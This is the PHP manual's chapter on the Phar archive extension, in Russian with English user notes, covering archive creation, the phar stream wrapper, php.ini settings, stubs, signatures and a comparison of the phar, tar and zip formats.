   * @param $_sourceDirectory       // This is the directory where your project is stored.
   * @param $stubFile               // Name the entry point for your phar file. This file have to be within the source
   *                                   directory.
   * @param null $_outputDirectory  // Directory where the phar file will be placed.
   * @param string $pharFileName    // Name of your final *.phar file.
   */
  public function __construct($_sourceDirectory, $stubFile, $_outputDirectory = null, $pharFileName = 'myPhar.phar') {

    if ((file_exists($_sourceDirectory) === false) || (is_dir($_sourceDirectory) === false)) {
      throw new Exception('No valid source directory given.');
    }
    $this->_sourceDirectory = $_sourceDirectory;

    if (file_exists($this->_sourceDirectory.'/'.$stubFile) === false) {
      throw new Exception('Your given stub file doesn\'t exists.');
    }

    $this->_stubFile = $stubFile;

    if(empty($pharFileName) === true) {
      throw new Exception('Your given output name for your phar-file is empty.');
    }
    $this->_pharFileName = $pharFileName;

    if ((empty($_outputDirectory) === true) || (file_exists($_outputDirectory) === false) || (is_dir($_outputDirectory) === false)) {

      if ($_outputDirectory !== null) {
        trigger_error ( 'Your output directory is invalid. We set the fallback to: "'.dirname(__FILE__).'".', E_USER_WARNING);
      }

      $this->_outputDirectory = dirname(__FILE__);
    } else {
      $this->_outputDirectory = $_outputDirectory;
    }

    $this->prepareBuildDirectory();
    $this->buildPhar();
  }

  private function prepareBuildDirectory() {
    if (preg_match('/.phar$/', $this->_pharFileName) == FALSE) {
      $this->_pharFileName .= '.phar';
    }

    if (file_exists($this->_pharFileName) === true) {
      unlink($this->_pharFileName);
    }
  }

  private function buildPhar() {
    $phar = new Phar($this->_outputDirectory.'/'.$this->_pharFileName);
    $phar->buildFromDirectory($this->_sourceDirectory);
    $phar->setDefaultStub($this->_stubFile);
  }
}
//END Class

//Example Usage:
$builder = new BuildPhar(
  dirname(__FILE__).'/_source',
  'my_default_stub.php',
  dirname(__FILE__).'/_output',
  'my-phar-file.phar'
);
dava 03-Jun-2013 09:18
Here is an apache2 htaccess example that prevents the downloading of phar-Archives by the user:

RewriteEngine on
RewriteRule ^(.*)\.phar$ - [F]

It triggers a "403 - Forbidden" message instead of delivering the archive.
v-mafick at microsoft dot com 24-May-2013 09:22
Users should set the `sys_temp_dir` directive.

PHAR stores temporary files in either `sys_temp_dir` or the current working directory(CWD).

This is especially important if you're CWD is on a remote file system. Often web server clusters will share a common file system between each web server (using NFS, DFS, etc...). In such scenarios, if you don't set `sys_temp_dir` to a local directory, PHAR will be creating temporary files over the network, which will result in performance and functionality problems.
bohwaz 21-Nov-2011 02:43
If you get blank pages when trying to access a phar web-page, then you probably have Suhosin on your PHP (like in Debian and Ubuntu), and you need to ad this to your php.ini to allow execution of PHAR archives :

suhosin.executor.include.whitelist="phar"


Введение

Модуль phar предоставляет возможность поместить целое PHP-приложение в один-единственный файл c именем phar (PHP Archive) для простого распространения и установки. Помимо этого, модуль phar предоставляет метод абстракции формата файла для создания и обработки архивов tar и zip через класс PharData, примерно как PDO обеспечивает единый интерфейс для доступа к различным базам данных. В отличие от PDO, который не может конвертировать между различными базами данных, Phar может конвертировать данные между форматами tar, zip и phar всего одной строкой кода. Смотрите Phar::convertToExecutable() для примера.

Что же такое phar? Phar-архивы лучше всего можно охарактеризовать как удобный способ группировки нескольких файлов в один. Также phar архив предоставляет возможность распространять целое PHP-приложение в одном единственном файле и запускать его прямо из этого файла без необходимости распаковывать его на диск. Кроме того, phar-архивы могут выполняться PHP с той же лёгкостью, что и любые другие файлы, как из командной строки, так и через веб-сервер. Phar - это как флеш-накопитель для PHP-приложений.

Phar реализует эту функциональность через потоки. Обычно, чтобы использовать в PHP-скрипте внешний файл, вы бы воспользовались, например, include:

Пример #1 Использование внешнего файла

<?php
include '/path/to/external/file.php';
?>

PHP может рассматривать это как преобразование /path/to/external/file.php в обёртку потока file:///path/to/external/file.php, а в действительности он использует потоковые функции обёртки простого файлового потока для доступа ко всем локальным файлам.

Чтобы использовать файл file.php, находящийся внутри phar-архива /path/to/myphar.phar, используется синтаксис очень похожий на синтаксис file:// выше.

Пример #2 Использование файла внутри phar-архива

<?php
include 'phar:///path/to/myphar.phar/file.php';
?>

На самом деле, можно рассматривать phar-архив как если бы это был внешний диск, используя любые fopen()-подобные функции, opendir() и mkdir()-подобные функции для чтения, изменения, или создания новых файлов и директорий внутри phar-архива. Это позволяет целому PHP-приложению распространяться в одном файле и запускаться прямо из этого файла.

Наиболее часто используемое применение для phar-архива - это распространение целого приложения в одном файле. Например, установщик PEAR, который поставляется вместе с PHP, является phar-архивом. Для использования phar-архива распространяемого таким способом, архив может быть выполнен через консоль или через веб-сервер.

Phar-архивы могут распространяться как архивы tar и zip, или как пользовательский формат файла phar, предназначенный специально для модуля phar. Каждый формат файла имеет как преимущества, так и недостатки. Форматы tar и zip могут быть прочитаны или извлечены любой сторонней утилитой которая может работать с этими форматами. Но чтобы PHP мог их запускать, ему будет необходим модуль phar. Файлы в phar-формате настраиваются и уникальны для модуля phar, и могут быть созданы только им или PEAR-пакетом » PHP_Archive. Но их преимущество в том, что приложения, созданные в этом формате, будут работать, даже если модуль phar не включён.

Другими словами, даже если модуль phar отключён, phar-архив всё равно может быть выполнен или подключён. Доступ к отдельным файлам в архиве возможен только с модулем phar, если только архив не был создан с помощью PHP_Archive.

Модуль phar также способно конвертировать phar-архив из tar в zip или в phar-формат одной командой:

Пример #3 Конвертирование phar-архива из формата phar в формат tar

<?php
$phar = new Phar('myphar.phar');
$pgz = $phar->convertToExecutable(Phar::TAR, Phar::GZ); // создаст myphar.phar.tar.gz
?>

Phar может сжимать отдельные файлы или архив целиком с использованием gzip-компрессии или bzip2-компрессии, а также автоматически проверять целостность архива, используя сигнатуры MD5, SHA-1, SHA-256 или SHA-512.

Наконец, модуль Phar заботится о вашей безопасности и отключает доступ на запись для исполняемых phar-архивов по умолчанию, а также требует отключения на системном уровне настройки phar.readonly в php.ini для создания или изменения phar-архивов. Обычные неисполняемые архивы tar и zip, всегда могут быть созданы или изменены с помощью класса PharData.

Если вы создаёте приложение с целью распространения, вы, возможно, захотите прочитать раздел Как создавать Phar-архивы. Если вам нужно больше информации об отличиях между тремя поддерживаемыми phar форматами файлов, вам следует прочитать раздел Phar, Tar и Zip.

Если вы используете phar-приложение, то полезные советы находятся в разделе Как использовать phar-архивы.

Слово phar - это сокращение от PHP и Archive, и оно частично основано на jar (Java Archive), знакомом Java-разработчикам.

Реализация Phar-архивов основана на PEAR-пакете » PHP_Archive, и детали реализации схожи, хотя модуль Phar гораздо мощнее. Кроме того, модуль Phar позволяет большинству PHP-приложений запускаться без изменений, тогда как phar-архивы, основанные на PHP_Archive, часто требуют существенных изменений для работы.

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Требования
  • Установка
  • Настройка во время выполнения
  • Типы ресурсов

User Contributed Notes

acosonic at gmail dot com 28-Dec-2016 07:33
I would recommend following way of using/installing .phar under windows:

http://stackoverflow.com/questions/19413669/windows-8-phar-files-how-do-you-want-to-open/41357263#41357263


Требования

Кроме того, вы можете подключить модули zlib и bzip2, чтобы воспользоваться поддерживаемой компрессией phar. Также, чтобы иметь возможность подписывания OpenSSL, должен быть подключён модуль OpenSSL.

Если zend.multibyte включён, то необходимо также включить zend.detect_unicode.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Модуль Phar поставляется с PHP и по умолчанию включён. Для отключения поддержки Phar, используйте --disable-phar.

Модуль может быть установлен из репозитория PECL. Более подробные сведения и история версий доступны на » странице Phar в репозитории PECL.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Параметры конфигурации файловой системы и потоков
Имя | По умолчанию | Место изменения | Список изменений
phar.readonly | "1" | PHP_INI_ALL |
phar.require_hash | "1" | PHP_INI_ALL |
phar.cache_list | "" | PHP_INI_SYSTEM |

Краткое разъяснение конфигурационных директив.

phar.readonly bool

Этот параметр отключает поддержку создания или модификации Phar-архивов с помощью потока phar и записи объектов Phar на диск. Этот параметр всегда должен быть включён на рабочих машинах, поскольку поддержка записи модулем phar позволила бы простое создание, основанных на PHP, вирусов в случае присутствия других уязвимостей в системе общей безопасности.

Замечание:

Этот параметр может быть отключён в php.ini только исходя из соображений безопасности. Если параметр phar.readonly отключён в php.ini, пользователь может включить phar.readonly в скрипте или отключить его позже. Если параметр phar.readonly включён в php.ini, скрипт может безвредно "повторно включить" переменную INI, но не может отключить её.

phar.require_hash bool

Этот параметр сделает обязательной какую-либо подпись (в настоящий момент поддерживаются MD5, SHA1, SHA256, SHA512 и OpenSSL) для всех открываемых Phar-архивов и сделает невозможной обработку любого Phar-архива, не содержащего подпись.

Замечание:

Этот параметр может быть отключён в php.ini. Если параметр phar.require_hash отключён в php.ini, пользователь может включить phar.require_hash в скрипте или отключить его позже. Если параметр phar.require_hash включён в php.ini, скрипт может безвредно "повторно включить" переменную INI, но не может отключить её.

Этот параметр не влияет на чтение простых tar-файлов при помощи класса PharData.

Предостережение

phar.require_hash не обеспечивает безопасности как таковой - это всего лишь мера по защите от запуска повреждённого Phar архива, поскольку кто угодно, имеющий возможность модифицировать архив может с тем же успехом модифицировать и подпись.

phar.cache_list string

Позволяет проводить разметку phar-архивов, для которых необходимо осуществить предварительный разбор в момент старта веб-сервера. Обеспечивает повышение производительности за счёт запуска файлов вне phar-архива со скоростью, очень близкой к той, которая была бы при запуске этих файлов традиционным способом с диска.

Пример #1 phar.cache_list usage example

в php.ini (windows):
phar.cache_list =C:\путь\к\phar1.phar;C:\путь\к\phar2.phar
в php.ini (unix):
phar.cache_list =/путь/к/phar1.phar:/путь/к/phar2.phar

User Contributed Notes

milagre at gmail dot com 14-Jun-2011 11:48
During experimentation with phar.cache_list using php 5.2.13 and pecl/phar 2.0.0, I found some interesting details.

It seems that if any phar in the list of phars to cache fails to be read properly during module initialization, none of the phars in the list will be cached, including ones that had already been successfully read before the failure.

Additionally, phars without metadata will always fail to be pre-cached properly due to what seems to be a bug in the phar module that re-reads the length of the metadata from the next byte if the metadata length is 0.  Adding any metadata resolved the problem for me.

So make sure you are pre-caching phars with metadata, and make sure you don't put a bad path/file in the list.


Типы ресурсов

Модуль Phar предоставляет поток phar, который позволяет прозрачно обращаться к файлам внутри phar-архива. Смотрите также описание формата Phar-файла.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Константы сжатия Phar
Константа | Значение | Описание
Phar::NONE (int) | 0x00000000 | без сжатия
Phar::COMPRESSED (int) | 0x0000F000 | битовая маска, которая может быть использована с флагами файла для определения наличия сжатия
Phar::GZ (int) | 0x00001000 | сжатие zlib (gzip)
Phar::BZ2 (int) | 0x00002000 | сжатие bzip2
Константы формата файла Phar
Константа | Значение | Описание
Phar::PHAR (int) | 1 | формат файла phar
Phar::TAR (int) | 2 | формат файла tar
Phar::ZIP (int) | 3 | формат файла zip
Константы подписи Phar
Константа | Значение | Описание
Phar::MD5 (int) | 0x0001 | подпись с помощью алгоритма хеширования md5
Phar::SHA1 (int) | 0x0002 | подпись с помощью алгоритма хеширования sha1
Phar::SHA256 (int) | 0x0003 | подпись с помощью алгоритма хеширования sha256 (требуется модуль hash)
Phar::SHA512 (int) | 0x0004 | подпись с помощью алгоритма хеширования sha512 (требуется модуль hash)
Phar::OPENSSL (int) | 0x0010 | подпись с помощью пары открытого/закрытого ключей OpenSSL. Это подлинная подпись, использующая асимметричный ключ.
Phar::OPENSSL_SHA256 (int) |  |
Phar::OPENSSL_SHA512 (int) |  |
Константы переопределения MIME-типов webPhar
Константа | Значение | Описание
Phar::PHP (int) | 1 | используется для указания параметру переопределения MIME-типа Phar::webPhar() на то, что расширение должно быть разобрано как файл PHP
Phar::PHPS (int) | 2 | используется для указания параметра переопределения MIME-типа Phar::webPhar(), в соответствии с которым расширение должно быть разобрано как исходный файл PHP посредством highlight_file()

User Contributed Notes

There are no user contributed notes for this page.


Использование Phar-архивов

Содержание

  • Использование Phar-архивов: Введение
  • Использование Phar-архивов: обёртка потока phar
  • Использование Phar-архивов: классы Phar и PharData

User Contributed Notes

gabriel at bumpt dot net 04-Aug-2008 08:57
One should be aware that the bcompiler extension does not appear to work in a phar archive.

When parsing PHP files within a Phar archive, the engine seems to not decode the b-compiled files. Rather, it outputs the bytecode data, even if the bcompiler extension is enabled and loaded, and otherwise operating properly on stand-alone b-compiled PHP files.


Использование Phar-архивов: Введение

Концептуально Phar-архивы аналогичны JAR-архивам Java, но учитывают нужды и гибкость PHP-приложений. Phar-архив используется для распространения законченного PHP-приложения или библиотеки в виде одного файла. Приложение, имеющее вид Phar-архива, используется в точности так же, как и любое другое PHP-приложение:

php coolapplication.phar

Использование библиотеки, имеющей вид Phar-архива, идентично использованию любой другой PHP-библиотеки:

<?php
include 'coollibrary.phar';
?>

Обёртка потока phar представляет собой основу модуля phar, про её использование подробно написано здесь. Обёртка потока phar предоставляет доступ к файлам внутри phar-архива с использованием стандартных файловых функции PHP: fopen(), opendir() и других, которые работают с обычными файлами. Обёртка потока phar поддерживает все операции чтения/записи как над файлами, так и над каталогами.

<?php
include 'phar://coollibrary.phar/internal/file.php';
header('Content-type: image/jpeg');
// доступ к phar-архивам может осуществляться по полному пути или с помощью псевдонима
echo file_get_contents('phar:///полный/путь/к/coollibrary.phar/images/wow.jpg');
?>

Класс Phar реализует расширенные возможности по доступу к файлам и по созданию phar-архивов. Использование класса Phar подробно описано здесь.

<?php
try {
// открыть существующий phar-архив
$p = new Phar('coollibrary.phar', 0);
// Phar наследует SPL-класс DirectoryIterator
foreach (new RecursiveIteratorIterator($p) as $file) {
// $file является объектом класса PharFileInfo, который наследует SplFileInfo
echo $file->getFileName() . "\n";
echo file_get_contents($file->getPathName()) . "\n"; // отображает содержимое;
}
if (isset($p['internal/file.php'])) {
var_dump($p['internal/file.php']->getMetadata());
}

// создать новый phar-архив - параметр phar.readonly в php.ini должен быть 0
// phar.readonly включён по умолчанию из соображений безопасности.
// На работающих серверах phar-архивы никогда не должны создаваться,
// а только выполняться.
if (Phar::canWrite()) {
$p = new Phar('newphar.tar.phar', 0, 'newphar.tar.phar');
// создать phar-архив, основанный на tar, сжатый gzip-сжатием (.tar.gz)
$p = $p->convertToExecutable(Phar::TAR, Phar::GZ);

// создать транзакцию - в newphar.phar ничего не будет записано
// до тех пор, пока не будет вызван stopBuffering(), однако для этого требуется временное хранилище
$p->startBuffering();
// добавить все файлы в каталоге /путь/к/проекту/project, сохранение в phar-архив с префиксом "project"
$p->buildFromIterator(new RecursiveIteratorIterator(new RecursiveDirectoryIterator('/путь/к/проекту/project')), '/путь/к/проекту/');

// добавить новый файл используя ArrayAccess
$p['file1.txt'] = 'Информация';
$fp = fopen('hugefile.dat', 'rb');
// скопировать все данные из потока
$p['data/hugefile.dat'] = $fp;

if (Phar::canCompress(Phar::GZ)) {
$p['data/hugefile.dat']->compress(Phar::GZ);
}

$p['images/wow.jpg'] = file_get_contents('images/wow.jpg');
// любое значение может быть сохранено в качестве метаданных файла
$p['images/wow.jpg']->setMetadata(array('mime-type' => 'image/jpeg'));
$p['index.php'] = file_get_contents('index.php');
$p->setMetadata(array('bootstrap' => 'index.php'));

// сохранить phar-архив на диск
$p->stopBuffering();
}
} catch (Exception $e) {
echo 'Невозможно открыть Phar: ', $e;
}
?>

Кроме того, проверка содержимого phar-файла может быть осуществлена с помощью любого из поддерживаемых симметричных алгоритмов хеширования (MD5, SHA1, SHA256 и SHA512, если ext/hash включён), а также с помощью подписывания асимметричными открытым/закрытым ключами, используя OpenSSL. Для того чтобы использовать подписывание OpenSSL, вам необходимо сгенерировать пару из открытого и закрытого ключей и установить закрытый ключ для подписывания, используя Phar::setSignatureAlgorithm(). Кроме того, открытый ключ, извлечённый при помощи этого кода:

<?php
$public = openssl_get_publickey(file_get_contents('private.pem'));
$pkey = '';
openssl_pkey_export($public, $pkey);
?>
должен быть сохранён рядом с phar-архивом, для проверки которого он используется. Если phar-архив сохранён как /путь/к/моему/архиву/my.phar, то открытый ключ должен быть сохранён как /путь/к/моему/архиву/my.phar.pubkey, иначе phar не сможет проверить подлинность подписи OpenSSL.

Класс Phar также предоставляет 3 статических метода: Phar::webPhar(), Phar::mungServer() и Phar::interceptFileFuncs(), которые имеют решающее значение для упаковки PHP-приложений, предназначенных для использования на обычных файловых системах и для веб-приложений. Phar::webPhar() реализует фронтальный контроллер, который направляет HTTP-вызовы в правильное место внутри phar-архива. Phar::mungServer() используется для изменения значений массива $_SERVER, что позволяет обмануть приложения, обрабатывающие эти значения. Phar::interceptFileFuncs() инструктирует Phar о необходимости перехвата вызовов fopen(), file_get_contents(), opendir() и прочих функций, основанных на stat (file_exists(), is_readable() и так далее) и перенаправления всех относительных путей внутрь phar-архива.

Например, для упаковки выпуска популярного приложения phpMyAdmin для его использования в качестве phar-архива, требуется только этот простой скрипт, а phpMyAdmin.phar.tar.php будет доступен как обычный файл на вашем веб-сервере после изменения значений user/password:

<?php
@unlink('phpMyAdmin.phar.tar.php');
copy('phpMyAdmin-2.11.3-english.tar.gz', 'phpMyAdmin.phar.tar.php');
$a = new Phar('phpMyAdmin.phar.tar.php');
$a->startBuffering();
$a["phpMyAdmin-2.11.3-english/config.inc.php"] = '<?php
/* Конфигурация сервера */
$i = 0;

/* Сервер localhost (config:root) [1] */
$i++;
$cfg[\'Servers\'][$i][\'host\'] = \'localhost\';
$cfg[\'Servers\'][$i][\'extension\'] = \'mysqli\';
$cfg[\'Servers\'][$i][\'connect_type\'] = \'tcp\';
$cfg[\'Servers\'][$i][\'compress\'] = false;
$cfg[\'Servers\'][$i][\'auth_type\'] = \'config\';
$cfg[\'Servers\'][$i][\'user\'] = \'root\';
$cfg[\'Servers\'][$i][\'password\'] = \'\';

/* Конец конфигурации сервера */
if (strpos(PHP_OS, \'WIN\') !== false) {
$cfg[\'UploadDir\'] = getcwd();
} else {
$cfg[\'UploadDir\'] = \'/tmp/pharphpmyadmin\';
@mkdir(\'/tmp/pharphpmyadmin\');
@chmod(\'/tmp/pharphpmyadmin\', 0777);
}';
$a->setStub('<?php
Phar::interceptFileFuncs();
Phar::webPhar("phpMyAdmin.phar", "phpMyAdmin-2.11.3-english/index.php");
echo "phpMyAdmin предназначен для выполнения в веб-браузере\n";
exit -1;
__HALT_COMPILER();
');
$a->stopBuffering();
?>

User Contributed Notes

ch1902 27-Mar-2014 01:14
If you are going to be running a webPhar from the browser, for example http://localhost/myphar.phar then you will probably have to associate the .phar extension with PHP in your webserver to interpret the PHP code. In Apache modify httpd.conf to include

AddType application/x-httpd-php .php .phar
frame86 at live dot com 29-Jun-2013 11:46
The openssl example is completely wrong. The public key must be extracted from certificate and openssl_pkey_export() is for private key only.

Working example:
<?php
$publicKey = openssl_get_publickey(file_get_contents('certificate.pem'));
$details = openssl_pkey_get_details($publicKey);
file_put_contents('my.phar.pubkey', $details['key']);
?>

No need to say that the best and strongest encryption of my.phar/.phar/signature.bin is useless if the consumer does not check against a valid fingerprint or certificate of public key as anybody can open, read, recreate and sign a new archive with new key. Do you do? Think about it.
shaun at shaunfreeman dot co dot uk 27-Sep-2010 03:06
If you are trying to use Phar for a web application and just getting a blank screen, if you have enabled suhosin as well you have to add:

suhosin.executor.include.whitelist="phar"

to "/etc/php5/conf.d/suhosin.ini" file or your "php.ini" file.

once done everything works fine and dandy.


Использование Phar-архивов: обёртка потока phar

Обёртка потока Phar полностью поддерживает fopen() для чтения и записи (не для добавления), unlink(), stat(), fstat(), fseek(), rename() и потоковые операции каталогов, такие как opendir(), rmdir() и mkdir().

Также при помощи контекстов потока можно влиять на сжатие отдельных файлов и пофайловые метаданные в Phar-архиве:

<?php
$context = stream_context_create(array('phar' =>
array('compress' => Phar::GZ)),
array('metadata' => array('user' => 'cellog')));
file_put_contents('phar://my.phar/somefile.php', 0, $context);
?>

Обёртка потока phar не работает с файлами, расположенными удалённо, и не может с ними работать, так что её использование возможно даже когда параметры INI allow_url_fopen и allow_url_include отключены.

Несмотря на наличие возможности создавать phar-архивы с нуля просто используя потоковые операции, лучшим решением будет использование функционала, встроенного в класс Phar. Обёртку потока лучше всего использовать только для чтения.

User Contributed Notes

staff at pro-unreal dot de 08-Jun-2011 10:52
Please note that the phar stream wrapper does not work with any glob.
When you decide to move your project to phar archives you need to consider this.

The following won't work:
<?php
glob('phar://some.phar/*');
new DirectoryIterator('glob://phar://some.phar/*');
?>

While the following will work:
<?php
new DirectoryIterator('phar://some.phar/');
?>
carl at dot dot com 09-May-2011 12:12
Some Examples of how to use the stream wrapper would be really helpful.
My floundering attempts reveal only the following:

<?php
$p = new PharData(dirname(__FILE__).'/phartest.zip', 0,'phartest',Phar::ZIP) ;

$p->addFromString('testfile.txt',
'this is just some test text');

// This works
echo file_get_contents('phar://phartest.zip/testfile.txt');

//This Fails
file_put_contents('phar://phartest.zip/testfile.txt',
'Thist is text for testfile.txt');

$context = stream_context_create(
array('phar' =>array('compress' =>Phar::ZIP))
) ;

//This Fails
file_put_contents(
'phar://phartest.zip/testfile.txt',
'Thist is text for testfile.txt',0,$context);

// This works but only with 'r' readonly mode.
$f = fopen(
'phar://C:\\Inetpub\\wwwroot\\PACT\\test\\phartest.zip\\testfile.txt',
'r') ;
?>


Использование Phar-архивов: классы Phar и PharData

Класс Phar поддерживает чтение и обработку Phar-архивов, а также итерацию через унаследованную функциональность класса RecursiveDirectoryIterator. Благодаря поддержке интерфейса ArrayAccess, доступ к файлам внутри Phar-архива может быть получен, как если бы они были частью ассоциативного массива.

Класс PharData расширяет класс Phar и позволяет создавать и изменять неисполняемые tar- и zip-архивы данных даже в том случае, если параметр phar.readonly=1 в php.ini. Фактически функции PharData::setAlias() и PharData::setStub() отключены, поскольку концепция псевдонима и заглушки является уникальной для исполняемых phar-архивов.

Важно отметить, что при создании Phar-архива в конструктор объекта Phar должен быть передан полный путь. Попытки инициализации объекта Phar с относительными путями потерпят неудачу.

Предположим, что $p — объект Phar, инициализированный, как показано ниже:

<?php
$p = new Phar('/путь/к/myphar.phar', 0, 'myphar.phar');
?>

Пустой Phar-архив будет создан в /путь/к/myphar.phar, или, если файл /path/to/myphar.phar уже существует, он будет открыт повторно. Использование myphar.phar показывает концепцию псевдонима, который может быть использован для указания на /путь/к/myphar.phar в URL-адресах, подобно тому, как показано ниже:

<?php
// эти два вызова file_get_contents() равнозначны в том случае, если
// /путь/к/myphar.phar имеет явно заданный псевдоним "myphar.phar"
// в своём манифесте, или если phar был инициализирован созданием объекта Phar,
// как показано в предыдущем примере
$f = file_get_contents('phar:///путь/к/myphar.phar/whatever.txt');
$f = file_get_contents('phar://myphar.phar/whatever.txt');
?>

С только что созданным объектом $p класса Phar возможно следующее:

  • $a = $p['file.php'] создаст объект класса PharFileInfo, который будет ссылаться на содержимое phar://myphar.phar/file.php
  • $p['file.php'] = $v создаст новый файл (phar://myphar.phar/file.php) или перезапишет существующий внутри myphar.phar. $v может быть строкой или указателем на открытый файл. В последнем случае для создания нового файла будет использовано всё содержимое открытого файла. Обратите внимание, что функционально эквивалентным этому будет вызов $p->addFromString('file.php', $v). Также имеется возможность добавления содержимого файла при помощи $p->addFile('/path/to/file.php', 'file.php'). Наконец, пустой каталог может быть создан при помощи $p->addEmptyDir('empty').
  • isset($p['file.php']) может быть использовано для определения существования файла phar://myphar.phar/file.php внутри myphar.phar.
  • unset($p['file.php']) удаляет файл phar://myphar.phar/file.php из myphar.phar.

Кроме того, использование объекта Phar является единственным способом получить доступ к метаданным архива (через Phar::getMetadata()) и единственным способом установить или получить заглушку Phar-архива через Phar::getStub() и Phar::setStub(). К тому же, работать со сжатием целого Phar-архива можно только используя класс Phar.

Полный перечень функционала объекта Phar задокументирован ниже.

Класс PharFileInfo расширяет класс SplFileInfo и добавляет несколько методов для работы с деталями, присущими файлам, которые содержатся в Phar-архиве, такими как работа со сжатием и метаданными.

User Contributed Notes

There are no user contributed notes for this page.


  • « Использование Phar-архивов: классы Phar и PharData
  • Создание Phar-архивов: Введение »
  • PHP Manual
  • Phar
  • Создание Phar-архивов

Создание Phar-архивов

Содержание

  • Создание Phar-архивов: Введение

User Contributed Notes

There are no user contributed notes for this page.


Создание Phar-архивов: Введение

Должно быть написано в ближайшем будущем. Перед чтением этого обязательно прочитайте Как использовать Phar-архивы.

Отличным началом будет чтение про Phar::buildFromIterator() и об особенностях выбора доступного для архивов формата файла. Хорошее понимание того, что из себя представляет заглушка (stub) и что она имеет решающее значение для создания phar-архива, и поэтому Phar::setStub() и Phar::createDefaultStub() также будут хорошей отправкой точкой. Если вы распространяете веб-приложение, ключевыми будут знания о Phar::webPhar() и связанном с ним методе Phar::mungServer(). Любое приложение, которое обращается к своим собственным файлам, должно учитывать возможность использования Phar::interceptFileFuncs().

User Contributed Notes

jw 13-Jun-2011 12:26
There is some more information about stubs here:

http://www.php.net/manual/en/phar.fileformat.stub.php


Чем отличается phar от tar- или zip-архива?

Содержание

  • Составные части всех Phar-архивов вне зависимости от формата файла
  • Заглушка Phar-файла
  • Сравнение Phar, Tar и Zip
  • Phar-архивы, основанные на tar
  • Phar-архивы, основанные на zip
  • Формат файла phar
  • Флаги глобальной битовой карты Phar
  • Описание записи файла в манифесте Phar
  • Формат подписи Phar

User Contributed Notes

There are no user contributed notes for this page.


Составные части всех Phar-архивов вне зависимости от формата файла

Все Phar-архивы содержат от трёх до четырёх секций:

  1. заглушка

  2. манифест, описывающий содержимое

  3. содержимое файла

  4. [необязательно] подпись для проверки целостности Phar (только для формата файла phar)

User Contributed Notes

There are no user contributed notes for this page.


Заглушка Phar-файла

Заглушкой Phar является простой PHP-файл. Минимально возможная заглушка выглядит следующим образом:

<?php __HALT_COMPILER();

Заглушка должна содержать по крайней мере лексему __HALT_COMPILER(); в конце файла. Как правило, заглушка содержит функциональность загрузчика, подобно тому, как показано ниже:

<?php
Phar::mapPhar();
include 'phar://myphar.phar/index.php';
__HALT_COMPILER();

На содержимое заглушки Phar не налагаются ограничения, за исключением того, что она должна завершаться лексемой __HALT_COMPILER();. Закрывающий тег PHP

?>
может быть включён или опущен, но должно быть не более одного пробела между ; и закрывающим тегом
?>
, иначе модуль phar не сможет обработать манифест Phar-архива.

В phar-архиве, основанном на tar или zip, заглушка хранится в файле .phar/stub.php. Заглушка по умолчанию для Phar-архива, основанного на phar, содержит приблизительно 7 килобайт кода для извлечения содержимого Phar-архива и его выполнения. Смотрите Phar::createDefaultStub() для более подробной информации.

В phar-архиве, основанном на tar или zip, псевдоним phar хранится в файле .phar/alias.txt в виде простого текста.

User Contributed Notes

Frank Li 14-Sep-2022 10:38
> but there can be no more than 1 space between the ; and the close tag

there must be **exactly** 1 space, or "\n".
below is how php trims the ending tag.

> seek_for("__HALT_COMPILER();");
> read_3_into(buffer);
> if ((*buffer == ' ' || *buffer == '\n') && *(buffer + 1) == '?' && *(buffer + 2) == '>') {
> do_things.


Сравнение Phar, Tar и Zip

Что хорошего и плохого в трёх поддерживаемых форматах файла в модуле phar? В этой таблице предпринята попытка решить этот вопрос.

Матрица функционала: Phar против Tar против Zip
Функционал | Phar | Tar | Zip
Стандартный формат файла | Нет | Да | Да
Возможно выполнение без модуля Phar [1] | Да | Нет | Нет
Пофайловое сжатие | Да | Нет | Да
Сжатие всего архива | Да | Да | Нет
Проверка подписи всего архива | Да | Да | Да
Поддержка веб-приложений | Да | Да | Да
Пофайловые метаданные | Да | Да | Да
Метаданные всего архива | Да | Да | Да
Создание/изменение архива [2] | Да | Да | Да
Полная поддержка всех функций - обёрток потока | Да | Да | Да
Может быть создан/изменён, даже если phar.readonly=1 [3] | Нет | Да | Да

Подсказка

[1] Без модуля Phar PHP может получить прямой доступ к содержимому Phar-архива только в том случае, если в нём используется заглушка, которая извлекает содержимое phar-архива. Заглушка, созданная при помощи Phar::createDefaultStub(), распаковывает phar-архив и запускает его содержимое из временного каталога в том случае, если не был найден модуль phar.

Подсказка

[2] Для доступа на запись требуется, чтобы был отключён параметр phar.readonly в php.ini или непосредственно в консоли.

Подсказка

[3] Только архивы tar и zip без .phar в имени файла и без исполняемой заглушки .phar/stub.php могут быть созданы, если phar.readonly=1.

User Contributed Notes

There are no user contributed notes for this page.


Phar-архивы, основанные на tar

Архивы, основанные на формате файла tar, следуют более современному формату файла USTAR. Конструкция заголовка tar-файла делает их более эффективными для доступа, чем формат файла zip, и почти настолько же эффективными, как файлы формата phar. Имена файлов ограничены 255 байтами, включая полный путь к phar-архиву. Ограничений на количество файлов, содержащихся в phar-архиве, основанном на tar, нет. Эти архивы могут быть полностью сжаты в gzip или bzip2 формате и по-прежнему выполняться модулем Phar.

Существует ограниченная поддержка чтения архивов в формате обмена pax, но все распознанные заголовки pax (в настоящее время typeflag x and g) игнорируются. Также имеется ограниченная поддержка архивов GNU Tar; в настоящее время заголовки ././@LongLink разрешены.

Для сжатия всего архива используйте Phar::compress(). Для распаковки всего массива используйте Phar::decompress().

User Contributed Notes

jon at enablecrm dot co dot uk 22-Feb-2015 06:57
Whilst the ustar format may be more 'modern', it doesn't support adding files over 8GB in size to tar files.

So at time of writing, if you need to work with tar files that contain files over 8GB, you can't use PharData.


Phar-архивы, основанные на zip

Архивы, основанные на формате файла zip, поддерживают некоторые возможности, встроенные в формат файла zip. Пофайловые и относящиеся ко всему архиву метаданные хранятся в файловых комментариях zip и в комментарии всего zip-архива в виде сериализованных строк. Уже существующие zip-комментарии будут успешно считаны в виде строки. Пофайловое сжатие при чтении/записи поддерживается в случае использования сжатия zlib DEFLATE, а в случае использования bzip2-сжатия поддерживается доступ на чтение. Ограничений на количество файлов, содержащихся в phar-архиве, основанном на zip, нет. Пустые каталоги хранятся в zip-архиве в виде файлов с завершающим слешем как my/directory/.

User Contributed Notes

There are no user contributed notes for this page.


Формат файла phar

